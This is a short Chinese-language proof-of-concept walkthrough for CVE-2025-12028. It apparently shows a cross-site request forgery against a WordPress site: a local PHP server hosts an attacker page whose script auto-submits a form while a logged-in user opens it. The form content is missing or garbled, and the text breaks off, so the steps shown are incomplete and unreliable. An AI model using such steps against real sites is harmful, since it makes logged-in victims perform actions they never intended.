CVE-2025-12028

1 启动一个简单的HTTP服务器来托管概念验证页面 root@kitploit: mkdir -p /tmp/attacker && cd /tmp/attacker php -S 127.0.0.1:8000 2 创建文件 /tmp/attacker/poc.html，内容如下 root@kitploit: document.getElementById'x'.submit; 3 在已登录的浏览器会话中触发PoC 当已登录以下地址时： root@kitploit: http://localhost/wordpress 打开： root@kitploit:...